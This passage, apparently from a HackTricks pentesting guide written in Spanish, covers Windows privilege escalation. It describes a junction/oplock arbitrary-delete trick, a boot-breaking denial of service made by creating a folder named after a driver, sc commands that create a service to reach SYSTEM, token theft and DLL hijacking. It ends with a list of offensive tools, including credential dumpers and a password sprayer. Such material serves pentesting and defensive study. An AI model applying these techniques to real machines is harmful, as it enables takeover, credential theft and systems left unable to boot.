Esto apunta al stream interno de NTFS que almacena los metadatos de la carpeta — eliminarlo elimina la carpeta.

  1. Paso 5: Liberar el oplock
  • El proceso SYSTEM continúa y trata de eliminar file1.txt.
  • Pero ahora, debido a la junction + symlink, en realidad está eliminando:
C:\Config.Msi::$INDEX_ALLOCATION

Resultado: C:\Config.Msi es eliminado por SYSTEM.

De Arbitrary Folder Create a DoS permanente

Explotar una primitiva que te permite create an arbitrary folder as SYSTEM/admin — incluso si no puedes escribir archivos o establecer permisos débiles.

Crea una carpeta (no un archivo) con el nombre de un controlador crítico de Windows, p. ej.:

C:\Windows\System32\cng.sys
  • Esta ruta normalmente corresponde al controlador en modo kernel cng.sys.
  • Si la precreas como carpeta, Windows no puede cargar el controlador real al arrancar.
  • Entonces, Windows intenta cargar cng.sys durante el arranque.
  • Al encontrar la carpeta, no logra resolver el controlador real, y provoca un fallo o detiene el arranque.
  • No existe fallback, ni recuperación sin intervención externa (p. ej., reparación de arranque o acceso al disco).

De High Integrity a System

Nuevo servicio

Si ya estás ejecutando en un proceso High Integrity, la ruta hacia SYSTEM puede ser sencilla simplemente creando y ejecutando un nuevo servicio:

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

Tip

Al crear un binario de servicio asegúrate de que sea un servicio válido o de que el binario realice las acciones necesarias rápidamente, ya que será terminado en 20s si no es un servicio válido.

AlwaysInstallElevated

Desde un proceso High Integrity puedes intentar habilitar las entradas del registro AlwaysInstallElevated y instalar un reverse shell usando un .msi wrapper.
More information about the registry keys involved and how to install a .msi package here.

High + SeImpersonate privilege to System

You can find the code here.

From SeDebug + SeImpersonate to Full Token privileges

Si tienes esos privilegios de token (probablemente los encontrarás en un proceso ya en High Integrity), podrás abrir casi cualquier proceso (no procesos protegidos) con el privilegio SeDebug, copiar el token del proceso y crear un proceso arbitrario con ese token.
Usando esta técnica normalmente se selecciona cualquier proceso que se ejecute como SYSTEM con todos los privilegios de token (sí, puedes encontrar procesos SYSTEM sin todos los privilegios de token).
Puedes encontrar un example of code executing the proposed technique here.

Named Pipes

Esta técnica es usada por meterpreter para escalar con getsystem. La técnica consiste en crear una pipe y luego crear/abusar de un servicio para escribir en esa pipe. Entonces, el servidor que creó la pipe usando el privilegio SeImpersonate podrá suplantar el token del cliente de la pipe (el servicio) obteniendo privilegios SYSTEM.
Si quieres learn more about name pipes you should read this.
Si quieres leer un ejemplo de how to go from high integrity to System using name pipes you should read this.

Dll Hijacking

Si logras hijack a dll que está siendo loaded por un process ejecutándose como SYSTEM, podrás ejecutar código arbitrario con esos permisos. Por lo tanto Dll Hijacking también es útil para este tipo de escalada de privilegios y, además, es mucho más fácil de lograr desde un proceso High Integrity, ya que tendrá permisos de escritura en las carpetas usadas para cargar dlls.
You can learn more about Dll hijacking here.

From Administrator or Network Service to System

From LOCAL SERVICE or NETWORK SERVICE to full privs

Read: https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Best tool to look for Windows local privilege escalation vectors: WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) – Comprueba configuraciones erróneas y archivos sensibles (check here). Detectado.
JAWS – Comprueba algunas posibles configuraciones erróneas y recopila información (check here).
privesc – Comprueba configuraciones erróneas
SessionGopher – Extrae información de sesiones guardadas de PuTTY, WinSCP, SuperPuTTY, FileZilla y RDP. Usa -Thorough en local.
Invoke-WCMDump – Extrae credenciales del Credential Manager. Detectado.
DomainPasswordSpray – Realiza un password spray con las contraseñas recopiladas en el dominio
Inveigh – Inveigh es una herramienta PowerShell ADIDNS/LLMNR/mDNS/NBNS de spoofing y man-in-the-middle.
WindowsEnum – Enumeración básica de privesc en Windows
Sherlock ~~~~ – Busca vulnerabilidades de privesc conocidas (DEPRECATED para Watson)
WINspect – Chequeos locales (Necesita privilegios de Admin)

Exe

Watson – Busca vulnerabilidades de privesc conocidas (needs to be compiled using VisualStudio) (precompiled)
SeatBelt – Enumera el host buscando configuraciones erróneas (más una herramienta de recolección de info que de privesc) (needs to be compiled) (precompiled)
LaZagne – Extrae credenciales de muchos programas (exe precompilado en github)
SharpUP – Port de PowerUp a C#
Beroot ~~~~ – Comprueba configuraciones erróneas (ejecutable precompilado en github). No recomendado. No funciona bien en Win10.
Windows-Privesc-Check – Comprueba posibles configuraciones erróneas (exe desde python). No recomendado. No funciona bien en Win10.

Bat

winPEASbat – Herramienta creada basada en este post (no necesita accesschk para funcionar correctamente pero puede usarlo).

Local

Windows-Exploit-Suggester – Lee la salida de systeminfo y recomienda exploits que funcionan (python local)
Windows Exploit Suggester Next Generation – Lee la salida de systeminfo y recomienda exploits que funcionan (python local)

Meterpreter

multi/recon/local_exploit_suggestor

Tienes que compilar el proyecto usando la versión correcta de .NET (see this). Para ver la versión de .NET instalada en el host víctima puedes hacer:

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks